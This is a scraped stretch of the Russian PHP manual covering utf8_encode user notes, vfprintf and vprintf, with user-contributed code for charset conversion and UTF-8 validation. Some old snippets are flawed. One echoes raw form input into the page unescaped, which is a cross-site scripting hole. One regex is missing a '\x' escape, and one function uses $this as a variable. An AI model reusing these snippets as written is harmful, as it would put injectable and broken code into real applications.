"\xab" => "\xe0\xb8\x8b",
"\xac" => "\xe0\xb8\x8c",
"\xad" => "\xe0\xb8\x8d",
"\xae" => "\xe0\xb8\x8e",
"\xaf" => "\xe0\xb8\x8f",
"\xb0" => "\xe0\xb8\x90",
"\xb1" => "\xe0\xb8\x91",
"\xb2" => "\xe0\xb8\x92",
"\xb3" => "\xe0\xb8\x93",
"\xb4" => "\xe0\xb8\x94",
"\xb5" => "\xe0\xb8\x95",
"\xb6" => "\xe0\xb8\x96",
"\xb7" => "\xe0\xb8\x97",
"\xb8" => "\xe0\xb8\x98",
"\xb9" => "\xe0\xb8\x99",
"\xba" => "\xe0\xb8\x9a",
"\xbb" => "\xe0\xb8\x9b",
"\xbc" => "\xe0\xb8\x9c",
"\xbd" => "\xe0\xb8\x9d",
"\xbe" => "\xe0\xb8\x9e",
"\xbf" => "\xe0\xb8\x9f",
"\xc0" => "\xe0\xb8\xa0",
"\xc1" => "\xe0\xb8\xa1",
"\xc2" => "\xe0\xb8\xa2",
"\xc3" => "\xe0\xb8\xa3",
"\xc4" => "\xe0\xb8\xa4",
"\xc5" => "\xe0\xb8\xa5",
"\xc6" => "\xe0\xb8\xa6",
"\xc7" => "\xe0\xb8\xa7",
"\xc8" => "\xe0\xb8\xa8",
"\xc9" => "\xe0\xb8\xa9",
"\xca" => "\xe0\xb8\xaa",
"\xcb" => "\xe0\xb8\xab",
"\xcc" => "\xe0\xb8\xac",
"\xcd" => "\xe0\xb8\xad",
"\xce" => "\xe0\xb8\xae",
"\xcf" => "\xe0\xb8\xaf",
"\xd0" => "\xe0\xb8\xb0",
"\xd1" => "\xe0\xb8\xb1",
"\xd2" => "\xe0\xb8\xb2",
"\xd3" => "\xe0\xb8\xb3",
"\xd4" => "\xe0\xb8\xb4",
"\xd5" => "\xe0\xb8\xb5",
"\xd6" => "\xe0\xb8\xb6",
"\xd7" => "\xe0\xb8\xb7",
"\xd8" => "\xe0\xb8\xb8",
"\xd9" => "\xe0\xb8\xb9",
"\xda" => "\xe0\xb8\xba",
"\xdf" => "\xe0\xb8\xbf",
"\xe0" => "\xe0\xb9\x80",
"\xe1" => "\xe0\xb9\x81",
"\xe2" => "\xe0\xb9\x82",
"\xe3" => "\xe0\xb9\x83",
"\xe4" => "\xe0\xb9\x84",
"\xe5" => "\xe0\xb9\x85",
"\xe6" => "\xe0\xb9\x86",
"\xe7" => "\xe0\xb9\x87",
"\xe8" => "\xe0\xb9\x88",
"\xe9" => "\xe0\xb9\x89",
"\xea" => "\xe0\xb9\x8a",
"\xeb" => "\xe0\xb9\x8b",
"\xec" => "\xe0\xb9\x8c",
"\xed" => "\xe0\xb9\x8d",
"\xee" => "\xe0\xb9\x8e",
"\xef" => "\xe0\xb9\x8f",
"\xf0" => "\xe0\xb9\x90",
"\xf1" => "\xe0\xb9\x91",
"\xf2" => "\xe0\xb9\x92",
"\xf3" => "\xe0\xb9\x93",
"\xf4" => "\xe0\xb9\x94",
"\xf5" => "\xe0\xb9\x95",
"\xf6" => "\xe0\xb9\x96",
"\xf7" => "\xe0\xb9\x97",
"\xf8" => "\xe0\xb9\x98",
"\xf9" => "\xe0\xb9\x99",
"\xfa" => "\xe0\xb9\x9a",
"\xfb" => "\xe0\xb9\x9b"
 );

     $string=strtr($string,$iso8859_11);
     return $string;
 }

Suttichai Mesaard-www.ceforce.com
bisqwit at iki dot fi 20-May-2005 01:15
For reference, it may be insightful to point out that:
  utf8_encode($s)
is actually identical to:
  recode_string('latin1..utf8', $s)
and:
  iconv('iso-8859-1', 'utf-8', $s)
That is, utf8_encode is a specialized case of character set conversions.

If your string to be converted to utf-8 is something other than iso-8859-1 (such as iso-8859-2 (Polish/Croatian)), you should use recode_string() or iconv() instead rather than trying to devise complex str_replace statements.
JF Sebastian 09-Apr-2005 03:54
The following Perl regular expression tests if a string is well-formed Unicode UTF-8 (Broken up after each | since long lines are not permitted here. Please join as a single line, no spaces, before use.):

^([\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
\xe0[\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
\xed[\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
f0[\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
\xf4[\x80-\x8f][\x80-\xbf]{2})*$

NOTE: This strictly follows the Unicode standard 4.0, as described in chapter 3.9, table 3-6, "Well-formed UTF-8 byte sequences" ( http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf#G31703 ).

ISO-10646, a super-set of Unicode, uses UTF-8 (there called "UCS", see http://www.unicode.org/faq/utf_bom.html#1 ) in a relaxed variant that supports a 31-bit space encoded into up to six bytes instead of Unicode's 21 bits in up to four bytes. To check for ISO-10646 UTF-8, use the following Perl regular expression (again, broken up, see above):

^([\x00-\x7f]|
[\xc0-\xdf][\x80-\xbf]|
[\xe0-\xef][\x80-\xbf]{2}|
[\xf0-\xf7][\x80-\xbf]{3}|
[\xf8-\xfb][\x80-\xbf]{4}|
[\xfc-\xfd][\x80-\xbf]{5})*$

The following function may be used with above expressions for a quick UTF-8 test, e.g. to distinguish ISO-8859-1-data from UTF-8-data if submitted from a <form accept-charset="utf-8,iso-8859-1" method=..>.

function is_utf8($string) {
   return (preg_match('/[insert regular expression here]/', $string) === 1);
}
hrpeters (at) gmx (dot) net 13-Dec-2004 10:46
// Validate Unicode UTF-8 Version 4
// This function takes as reference the table 3.6 found at http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf
// It also flags overlong bytes as error

function is_validUTF8($str)
{
    // values of -1 represent disalloweded values for the first bytes in current UTF-8
    static $trailing_bytes = array (
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
        -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
        -1,-1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
        2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 3,3,3,3,3,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
    );

    $ups = unpack('C*', $str);
    if (!($aCnt = count($ups))) return true; // Empty string *is* valid UTF-8
    for ($i = 1; $i <= $aCnt;)
    {
        if (!($tbytes = $trailing_bytes[($b1 = $ups[$i++])])) continue;
        if ($tbytes == -1) return false;

        $first = true;
        while ($tbytes > 0 && $i <= $aCnt)
        {
            $cbyte = $ups[$i++];
            if (($cbyte & 0xC0) != 0x80) return false;

            if ($first)
            {
                switch ($b1)
                {
                    case 0xE0:
                        if ($cbyte < 0xA0) return false;
                        break;
                    case 0xED:
                        if ($cbyte > 0x9F) return false;
                        break;
                    case 0xF0:
                        if ($cbyte < 0x90) return false;
                        break;
                    case 0xF4:
                        if ($cbyte > 0x8F) return false;
                        break;
                    default:
                        break;
                }
                $first = false;
            }
            $tbytes--;
        }
        if ($tbytes) return false; // incomplete sequence at EOS
    }
    return true;
}
Mark AT modernbill DOT com 09-Nov-2004 11:56
If you haven't guessed already: If the UTF-8 character has no representation in the ISO-8859-1 codepage, a ? will be returned. You might want to wrap a function around this to make sure you aren't saving a bunch of ???? into your database.
Aidan Kehoe <php-manual at parhasard dot net> 30-Aug-2004 07:05
Here's some code that addresses the issue that Steven describes in the previous comment;

<?php

/* This structure encodes the difference between ISO-8859-1 and Windows-1252,
   as a map from the UTF-8 encoding of some ISO-8859-1 control characters to
   the UTF-8 encoding of the non-control characters that Windows-1252 places
   at the equivalent code points. */

$cp1252_map = array(
    "\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
    "\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
    "\xc2\x83" => "\xc6\x92",     /* LATIN SMALL LETTER F WITH HOOK */
    "\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
    "\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
    "\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
    "\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
    "\xc2\x88" => "\xcb\x86",     /* MODIFIER LETTER CIRCUMFLEX ACCENT */
    "\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
    "\xc2\x8a" => "\xc5\xa0",     /* LATIN CAPITAL LETTER S WITH CARON */
    "\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
    "\xc2\x8c" => "\xc5\x92",     /* LATIN CAPITAL LIGATURE OE */
    "\xc2\x8e" => "\xc5\xbd",     /* LATIN CAPITAL LETTER Z WITH CARON */
    "\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
    "\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
    "\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
    "\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
    "\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
    "\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
    "\xc2\x97" => "\xe2\x80\x94", /* EM DASH */

    "\xc2\x98" => "\xcb\x9c",     /* SMALL TILDE */
    "\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
    "\xc2\x9a" => "\xc5\xa1",     /* LATIN SMALL LETTER S WITH CARON */
    "\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
    "\xc2\x9c" => "\xc5\x93",     /* LATIN SMALL LIGATURE OE */
    "\xc2\x9e" => "\xc5\xbe",     /* LATIN SMALL LETTER Z WITH CARON */
    "\xc2\x9f" => "\xc5\xb8"      /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
);

function cp1252_to_utf8($str) {
        global $cp1252_map;
        return  strtr(utf8_encode($str), $cp1252_map);
}

?>
Net Raven 24-Jun-2004 12:58
I often need to convert multi language text sent to me for use in websites and other apps into UTF8 encoded so I can insert it into source code and databases.

I knocked up a small web page with its charset set to UTF8 then set it up so I can paste from the original doc (eg word or excel) and have the page return the UTF8 encoded version.

Of course the browser will convert the unicode to UTF8 for you as part of the submit (I use IE5 or better for this) then all you have to do in the PHP is encode the UTF8 so the browser will show it in its raw form.

Its a bit bulky but I just convert ALL character to html numbered entities (brute force and ignorance does it again.)

I've used this to encode everything from Hebrew to Japanese without problems

<?
header("Content-Type: text/plain; CHARSET=Windows-1251");
$code = (get_magic_quotes_gpc())?stripslashes($GLOBALS[code]):$GLOBALS[code];
?>
<html>
<head>
    <title>UTF8 ENCODER PAGE</title>
    <meta http-equiv="content-type" content="text/html; CHARSET=Windows-1251">
</head>
<body>
<form method=post action="?seed=<?=time()?>">
    Original Unicode<br />
    <textarea name="code" cols="80" rows="10"><?=$code?></textarea><br />
    Encoded UTF8<br />
    <textarea name="encd" cols="80" rows="10"><?
        for ($i = 0; $i < strlen($code); $i++) {
            echo '&#'.ord(substr($code,$i,1));
        }
    ?></textarea><br />
    <input type="submit" value="encode">
</form>
</body>
</html>
Karen 01-Oct-2003 12:33
Re the previous post about converting GB2312 code to Unicode code which displayed the following function:

<?
// Program by sadly (www.phpx.com)

function gb2unicode($gb)
{
   if(!trim($gb))
    return $gb;
   $filename="gb2312.txt";
   $tmp=file($filename);
   $codetable=array();
   while(list($key,$value)=each($tmp))
    $codetable[hexdec(substr($value,0,6))]=substr($value,9,4);
   $utf="";
   while($gb)
    {
      if (ord(substr($gb,0,1))>127)
     {
        $this=substr($gb,0,2);
        $gb=substr($gb,2,strlen($gb));
        $utf.="&#x".$codetable[hexdec(bin2hex($this))-0x8080].";";
      }
     else
     {
      $gb=substr($gb,1,strlen($gb));
      $utf.=substr($gb,0,1);
     }
     }
  return $utf;
}
?>

I found that a small change was needed in the code to properly handle latin characters embedded in the middle of gb2312 text, as when the text includes a URL or email address. Just reverse the two lines in the part of the statement above that handles ord vals !>127.

Change:

$gb=substr($gb,1,strlen($gb));
$utf.=substr($gb,0,1);

to:

$utf.=substr($gb,0,1);
$gb=substr($gb,1,strlen($gb));

In the original function, the first latin chacter was dropped and it was not converting the first non-latin character after the latin text (everything was shifted one character too far to the right). Reversing those two lines makes it work correctly in every example I have tried.

Also, the source of the gb2312.txt file needed for this to work has changed. You can find it a couple places:

http://tcl.apache.org/sources/tcl/tools/encoding/gb2312.txt
ftp://ftp.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/GB/GB2312.TXT
ronen at greyzone dot com 07-Mar-2002 12:01
The following function will utf-8 encode unicode entities &#nnn(nn); with n={0..9}

/**
* takes a string of unicode entities and converts it to a utf-8 encoded string
* each unicode entitiy has the form &#nnn(nn); n={0..9} and can be displayed by utf-8 supporting
* browsers.  Ascii will not be modified.
* @param $source string of unicode entities [STRING]
* @return a utf-8 encoded string [STRING]
* @access public
*/
function utf8Encode ($source) {
    $utf8Str = '';
    $entityArray = explode ("&#", $source);
    $size = count ($entityArray);
    for ($i = 0; $i < $size; $i++) {
        $subStr = $entityArray[$i];
        $nonEntity = strstr ($subStr, ';');
        if ($nonEntity !== false) {
            $unicode = intval (substr ($subStr, 0, (strpos ($subStr, ';') + 1)));
            // determine how many chars are needed to reprsent this unicode char
            if ($unicode < 128) {
                $utf8Substring = chr ($unicode);
            }
            else if ($unicode >= 128 && $unicode < 2048) {
                $binVal = str_pad (decbin ($unicode), 11, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 5);
                $binPart2 = substr ($binVal, 5);

                $char1 = chr (192 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $utf8Substring = $char1 . $char2;
            }
            else if ($unicode >= 2048 && $unicode < 65536) {
                $binVal = str_pad (decbin ($unicode), 16, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 4);
                $binPart2 = substr ($binVal, 4, 6);
                $binPart3 = substr ($binVal, 10);

                $char1 = chr (224 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $char3 = chr (128 + bindec ($binPart3));
                $utf8Substring = $char1 . $char2 . $char3;
            }
            else {
                $binVal = str_pad (decbin ($unicode), 21, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 3);
                $binPart2 = substr ($binVal, 3, 6);
                $binPart3 = substr ($binVal, 9, 6);
                $binPart4 = substr ($binVal, 15);

                $char1 = chr (240 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $char3 = chr (128 + bindec ($binPart3));
                $char4 = chr (128 + bindec ($binPart4));
                $utf8Substring = $char1 . $char2 . $char3 . $char4;
            }

            if (strlen ($nonEntity) > 1)
                $nonEntity = substr ($nonEntity, 1); // chop the first char (';')
            else
                $nonEntity = '';

            $utf8Str .= $utf8Substring . $nonEntity;
        }
        else {
            $utf8Str .= $subStr;
        }
    }

    return $utf8Str;
}

Ronen.


Записывает отформатированную строку в поток

  • « utf8_encode
  • vprintf »
  • PHP Manual
  • Функции для работы со строками
  • Записывает отформатированную строку в поток

vfprintf

(PHP 5, PHP 7, PHP 8)

vfprintf — Записывает отформатированную строку в поток

Описание

vfprintf(resource $stream, string $format, array $values): int

Записывает строку, отформатированную в соответствии с параметром format в поток stream.

Данная функция похожа на fprintf(), но принимает не переменное число аргументов, а массив.

Список параметров

stream

format

Строка формата состоит из нуля или более директив: обычные символы (за исключением %), которые просто выводятся без изменения, и спецификаторы преобразования, каждый из которых требует передачи своего параметра.

Спецификаторы преобразования имеют следующий формат: %[argnum$][flags][width][.precision]specifier.

Argnum

Целое число, за которым следует знак доллара $, чтобы указать, какой числовой аргумент обрабатывать при преобразовании.

Флаги
Флаг | Описание
- Выравнивание по левому краю в пределах заданной ширины поля; По умолчанию выравнивание происходит по правому краю.
+ Печатает плюс + у не отрицательных чисел; По умолчанию знак печатается только у отрицательных чисел.
(space) | Дополняет результат пробелами. Это поведение по умолчанию.
0 | Дополняет числа нулями (только слева). Со спецификатором s также может дополнять нулями справа.
'(char) | Дополняет результат символом (char).

Ширина

Либо целое число, указывающее, сколько символов (минимум) должно получиться в результате преобразования, либо *. Если указано значение *, то ширина задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Точность

Точка ., с последующим целым числом, либо *, значение которого зависит от спецификатора:

  • Для спецификаторов e, E, f и F: задаёт количество цифр после десятичной запятой (по умолчанию 6).
  • Для спецификаторов g,G, h и H: задаёт максимальное значение печатаемых значащих цифр.
  • Для спецификатора s: задаёт ограничение максимального количества символов в строке, которые будут выведены.

Замечание: Если указана точка без последующего значения точности, то точность будет считаться за 0. Если указано значение *, точность задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Спецификаторы
Спецификатор | Описание
% Символ процента. Аргументы не требуются.
b | Аргумент рассматривается как целое число и печатается в бинарном представлении.
c | Аргумент рассматривается как целое число и печатается как символ из таблицы ASCII с соответствующим кодом.
d | Аргумент рассматривается как целое число и печатается как целое число со знаком.
e | Аргумент считается за число в научной нотации (т.е. 1.2e+2).
E | Аналогично спецификатору e, но использует заглавные символы (т.е. 1.2E+2).
f | Аргумент считается за число с плавающей точкой (с учётом локали).
F | Аргумент считается за число с плавающей точкой (без учёта локали).
g

Общий формат.

Пусть P равно точности, если она не равно нулю, 6 — если точность не задана и 1, если точность задана как 0. Тогда, если преобразование со стилем "E" будет иметь показатель степени X:

Если P > X ? ?4, преобразование будет в стиле "f" и точность будет P ? (X + 1). В обратном случае, преобразование будет в стиле "e" и точность будет P ? 1.

G | Аналогично спецификатору g, но использует E и f.
h | Аналогично спецификатору g, но использует F. Доступен с PHP 8.0.0.
H | Аналогично спецификатору g, но использует E и F. Доступен с PHP 8.0.0.
o | Аргумент рассматривается как целое число и печатается в восьмеричном представлении.
s | Аргумент рассматривается и печатается как строка.
u | Аргумент рассматривается как целое число и печатается как беззнаковое целое число.
x | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в нижнем регистре).
X | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в верхнем регистре).

Внимание

Спецификатор c игнорирует значения ширины и дополнения

Внимание

Попытка использовать спецификаторы с указанием ширины для строки в многобайтовой кодировке может привести к неожиданным результатам.

Переменные будут приведены к подходящему для спецификатора типу:

Обработка типов
Тип | Спецификатор
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

Возвращаемые значения

Возвращает длину выведенной строки.

Ошибки

Начиная с PHP 8.0.0, если количество аргументов равно нулю, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [width] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [precision] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если аргументов задано меньше, чем требуется, выбрасывается исключение ArgumentCountError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false, если возникла ошибка.
8.0.0 | Выбрасывает исключение ValueError, если количество аргументов равно нулю; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [width] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [precision] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ArgumentCountError, если аргументов задано меньше, чем требуется; ранее функция выдавала ошибку уровня E_WARNING.

Примеры

Пример #1 vfprintf(): дополнение нулями целых чисел

<?php
if (!($fp = fopen('date.txt', 'w')))
return;

vfprintf($fp, "%04d-%02d-%02d", array($year, $month, $day));
// запишет дату в формате ISO в date.txt
?>

Смотрите также

  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку
  • fprintf() - Записывает отформатированную строку в поток
  • vprintf() - Выводит отформатированную строку
  • vsprintf() - Возвращает отформатированную строку
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • date() - Форматирует временную метку Unix

User Contributed Notes

There are no user contributed notes for this page.


Выводит отформатированную строку

  • « vfprintf
  • vsprintf »
  • PHP Manual
  • Функции для работы со строками
  • Выводит отформатированную строку

vprintf

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

vprintf — Выводит отформатированную строку

Описание

vprintf(string $format, array $values): int

Выводит значения массива, отформатированные в соответствии с аргументом format, описанном в документации функции sprintf().

Работает как printf(), но принимает не переменное число аргументов, а массив.

Список параметров

format

Строка формата состоит из нуля или более директив: обычные символы (за исключением %), которые просто выводятся без изменения, и спецификаторы преобразования, каждый из которых требует передачи своего параметра.

Спецификаторы преобразования имеют следующий формат: %[argnum$][flags][width][.precision]specifier.

Argnum

Целое число, за которым следует знак доллара $, чтобы указать, какой числовой аргумент обрабатывать при преобразовании.

Флаги
Флаг | Описание
- Выравнивание по левому краю в пределах заданной ширины поля; По умолчанию выравнивание происходит по правому краю.
+ Печатает плюс + у не отрицательных чисел; По умолчанию знак печатается только у отрицательных чисел.
(space) | Дополняет результат пробелами. Это поведение по умолчанию.
0 | Дополняет числа нулями (только слева). Со спецификатором s также может дополнять нулями справа.
'(char) | Дополняет результат символом (char).

Ширина

Либо целое число, указывающее, сколько символов (минимум) должно получиться в результате преобразования, либо *. Если указано значение *, то ширина задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Точность

Точка ., с последующим целым числом, либо *, значение которого зависит от спецификатора:

  • Для спецификаторов e, E, f и F: задаёт количество цифр после десятичной запятой (по умолчанию 6).
  • Для спецификаторов g,G, h и H: задаёт максимальное значение печатаемых значащих цифр.
  • Для спецификатора s: задаёт ограничение максимального количества символов в строке, которые будут выведены.

Замечание: Если указана точка без последующего значения точности, то точность будет считаться за 0. Если указано значение *, точность задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Спецификаторы
Спецификатор | Описание
% Символ процента. Аргументы не требуются.
b | Аргумент рассматривается как целое число и печатается в бинарном представлении.
c | Аргумент рассматривается как целое число и печатается как символ из таблицы ASCII с соответствующим кодом.
d | Аргумент рассматривается как целое число и печатается как целое число со знаком.
e | Аргумент считается за число в научной нотации (т.е. 1.2e+2).
E | Аналогично спецификатору e, но использует заглавные символы (т.е. 1.2E+2).
f | Аргумент считается за число с плавающей точкой (с учётом локали).
F | Аргумент считается за число с плавающей точкой (без учёта локали).
g

Общий формат.

Пусть P равно точности, если она не равно нулю, 6 — если точность не задана и 1, если точность задана как 0. Тогда, если преобразование со стилем "E" будет иметь показатель степени X:

Если P > X ? ?4, преобразование будет в стиле "f" и точность будет P ? (X + 1). В обратном случае, преобразование будет в стиле "e" и точность будет P ? 1.

G | Аналогично спецификатору g, но использует E и f.
h | Аналогично спецификатору g, но использует F. Доступен с PHP 8.0.0.
H | Аналогично спецификатору g, но использует E и F. Доступен с PHP 8.0.0.
o | Аргумент рассматривается как целое число и печатается в восьмеричном представлении.
s | Аргумент рассматривается и печатается как строка.
u | Аргумент рассматривается как целое число и печатается как беззнаковое целое число.
x | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в нижнем регистре).
X | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в верхнем регистре).

Внимание

Спецификатор c игнорирует значения ширины и дополнения

Внимание

Попытка использовать спецификаторы с указанием ширины для строки в многобайтовой кодировке может привести к неожиданным результатам.

Переменные будут приведены к подходящему для спецификатора типу:

Обработка типов
Тип | Спецификатор
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

Возвращаемые значения

Возвращает длину выведенной строки.

Ошибки

Начиная с PHP 8.0.0, если количество аргументов равно нулю, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [width] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [precision] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если аргументов задано меньше, чем требуется, выбрасывается исключение ArgumentCountError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false, если возникла ошибка.
8.0.0 | Выбрасывает исключение ValueError, если количество аргументов равно нулю; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [width] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [precision] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ArgumentCountError, если аргументов задано меньше, чем требуется; ранее функция выдавала ошибку уровня E_WARNING.

Примеры

Пример #1 vprintf(): дополнение нулями целых чисел

<?php
vprintf("%04d-%02d-%02d", explode('-', '1988-8-1'));
?>

Результат выполнения приведённого примера:

1988-08-01

Смотрите также

  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку
  • fprintf() - Записывает отформатированную строку в поток
  • vsprintf() - Возвращает отформатированную строку
  • vfprintf() - Записывает отформатированную строку в поток
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • date() - Форматирует временную метку Unix

User Contributed Notes

phpcoder at gmail dot com 17-Jul-2019 12:43
Using the ... operator, vprintf($format, $array) is basically just printf($format, ...$array).
steve at stevelockwood dot net 18-Dec-2014 08:42
If, instead of an array, you pass an object PHP will automatically cast the object as an array so you can use it directly in vprintf.
<?php
 $object = new stdClass();
 $object->Property1 = 'Value 1';
 $object->Property2 = 'Value 2';
vprintf('%-20s %-20s', $object);

/* will output
 Value 1              Value 2
*/
?>
Chris 18-Oct-2012 05:49
Another way to display arrays is use an array_walk(). This can be useful inline echo/print where a foreach wouldn't work, e.g.

<?php
echo "These errors: ", (unset)array_walk($msgs, function($a) { echo "<p>$a</p>"; } ), "must be corrected.";
?>
taken from &#34;Php Phrasebook&#34; 15-Jun-2008 10:55
<?php
$string = 'The site runs on PHP '.phpversion();
preg_match('/php ((\d)\.\d\.\d+)/i',$string,$matches);
print_r($matches);
vprintf('Match: %s<br /> Version %s; Major:%d.',$matches);
?>

output:
Array ( [0] => PHP 5.2.5 [1] => 5.2.5 [2] => 5 )
Match: PHP 5.2.5 Version 5.2.5; Major:5.

For preg_match:

If matches  is provided, then it is filled with the results of search. $matches[0] will contain the text that matched the full pattern, $matches[1]  will have the text that matched the first captured parenthesized subpattern, and so on.
badcop666 at hotmail dot com 28-Nov-2007 05:38
For blocks of text, sprintf() is slow according to my tests.

Also, having the mapping between place-holders and the list of actual variables or datastructures often makes this code difficult to read. But the printf() family are widely supported and have a huge range of nice features. Performance is a cold mistress though!

From an ease-of-reading and maintenance, debugging point of view, I much prefer HEREDOC and "...{$variable}..." methods.

For a block of HTML markup with place holders, the fastest by far was:-

?>
<div> markup etc<?= $variable ?>more markup
<?

My tests comprised 20 runs of a loop of 1 million iterations with output buffering, ditching the buffer on each loop.

The timings ranged from average 2.1msec/million repetitions for the <?= $var ?> method up to 7.6msec/million using printf().

I'll try some benchmarking tools too, since I just wrote this myself and it could be introducing bias, but they've run on dev servers with low load.

Hopefully interesting.
tehjosh at gamingg dot net 29-Jul-2007 07:19
To toolofthesystem at gmail dot com:

You don't need to use output buffering with vprintf() because you can use vsprintf(), which has the same functionality as vprintf(), except that it returns the resulting string instead of outputting it.
toolofthesystem at gmail dot com 27-Mar-2007 08:42
This function comes useful sometimes when trying to list information returned from MySQL:

function print_sql($query,$printf){
    $sql_sql = mysql_query($query);
    while($sql = mysql_fetch_row($sql_sql)){
        vprintf($printf,$sql);
    }
}

Unfortunately, this seems to sneak its way past output buffering when I tried creating an argument to allow it to be contained in a returned string... either that or I didn't do it right.
caleb at tekhawk dot com 29-Nov-2006 02:19
i know that you can use %1$s or %3$s to select the first or third string but how can you or can you use array names to select it

something like %'user'$s $'email'$s

i tend to add things to my databases over time and this could save loads of recoding


Возвращает отформатированную строку

  • « vprintf
  • wordwrap »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает отформатированную строку

vsprintf

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

